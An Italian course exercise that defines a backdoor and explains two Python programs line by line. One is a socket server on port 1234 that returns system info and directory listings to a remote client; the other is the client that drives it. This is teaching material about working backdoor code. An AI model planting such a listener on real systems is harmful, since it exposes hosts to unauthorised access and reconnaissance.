Esercizio Epicode 10.10.2023

Spiegare cos'è una backdoor e cosa fanno i seguenti programmi e la differenza fra essi:

```python
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') =='2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

```python
import socket

SRV_ADDR = input("Type the server IP address: ")
SRV_PORT = int(input("Type the server port: "))

def print_menu():
    print("""\n\n0) Close the connection
1) Get system info
2) List directory contents""")

my_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
my_sock.connect((SRV_ADDR, SRV_PORT))

print("Connection established")
print_menu()

while 1:
    message = input("\n-Select an option: ")

    if(message == "0"):
        my_sock.sendall(message.encode())
        my_sock.close()
        break

    elif(message =="1"):
        my_sock.sendall(message.encode())
        data = my_sock.recv(1024)
        if not data: break
        print(data.decode('utf-8'))

    elif(message == "2"):
        path = input("Insert the path: ")
        my_sock.sendall(message.encode())
        my_sock.sendall(path.encode())
        data = my_sock.recv(1024)
        data = data.decode('utf-8').split(",")
        print("*"*40)
        for x in data:
            print(x)
        print("*"*40)
```

Backdoor

Back door o «porta sul retro» si trova nella penultima fase del penetration test, è un programma che racchiude e rende automatico l'exploit, la scalata di privilegi e il mantenimento, cosicché non bisogna più eseguirli «manualmente» ogni volta che si entra nel device. Le backdoor utilizzate dai black hat si chiamano RAT.

Primo programma backdoor server

Questo programma è un server che ascolta su una porta specifica (1234) e accetta connessioni da un client generico. Una volta stabilita una connessione, il server attende i comandi inviati dal client e risponde di conseguenza. Ecco una spiegazione del programma:

- Il server viene configurato per ascoltare su un indirizzo IP vuoto ’ ’ (che significa che ascolta sulle reti disponibili) e una porta (1234).
- Il server crea un socket e lo associa all'indirizzo e alla porta specificati . Successivamente, inizia ad ascoltare per le connessioni in entrata (s.listen).
- Una volta che un client si connette al server, il server accetta la connessione e ottiene l'indirizzo del client. Viene quindi stampato un messaggio che indica che un client è stato connesso e mostra l'indirizzo IP.
- Il server entra in un loop While (1) per ascoltare le richieste del client.
- Il server riceve i dati inviati dal client (presumibilmente un comando) e tenta di decodificarli in UTF-8.
- Se il client invia "1", il server risponde inviando al client informazioni su di esso (platform)
- Se il client invia "2", il server attende un ulteriore messaggio dal client, un percorso di directory. Il server quindi elenca i file nella directory specificata e invia la lista dei file al client.
- Se il client invia "0", il server chiude la connessione con il client attuale e attende una nuova connessione da un altro client.
- Il server continua a eseguire questo ciclo, attendendo comandi dal client e rispondendo di conseguenza, finché il client non chiude la connessione. Quando il client si disconnette, il server è pronto a ricevere nuove connessioni.

Secondo programma client backdoor

Questo programma è un client che si connette a un server remoto utilizzando socket e consente di eseguire alcune operazioni basate su comandi. Ecco la spiegazione del programma:

- Inserire l'indirizzo IP del server e la porta del server a cui ci si vuole connettere.

- Definisco una funzione print_menu() che stampa un menu di opzioni da selezionare: (0) chiude la connessione,(1) informazioni di sistema dal server, (2) elenco il contenuto di una directory specificata dal server.

- Viene creato un socket chiamato my_sock che utilizza il protocollo IPv4 (AF_INET) e il protocollo TCP (SOCK_STREAM). Il socket viene quindi utilizzato per stabilire una connessione con il server utilizzando l'indirizzo IP e porta dati in precedenza

- Stampa un messaggio per confermare che la connessione è stata stabilita e mostra il menu delle opzioni.

- Il programma entra in un loop while che consente di selezionare le opzioni del menu finché non ho deciso di chiudere la connessione.

- Opzione "0": Il client invia "0" al server, quindi chiude la connessione e termina il programma.

- Opzione "1": Il client invia "1" al server, quindi aspetta di ricevere dati dal server. Una volta ricevuti i dati, li stampa (print).

- Opzione "2": Il client invia "2" al server e poi mi richiede di inserire un percorso di directory. Questo percorso viene inviato al server, che lo elabora e invia una lista dei contenuti della directory. Il client riceve e stampa questa lista.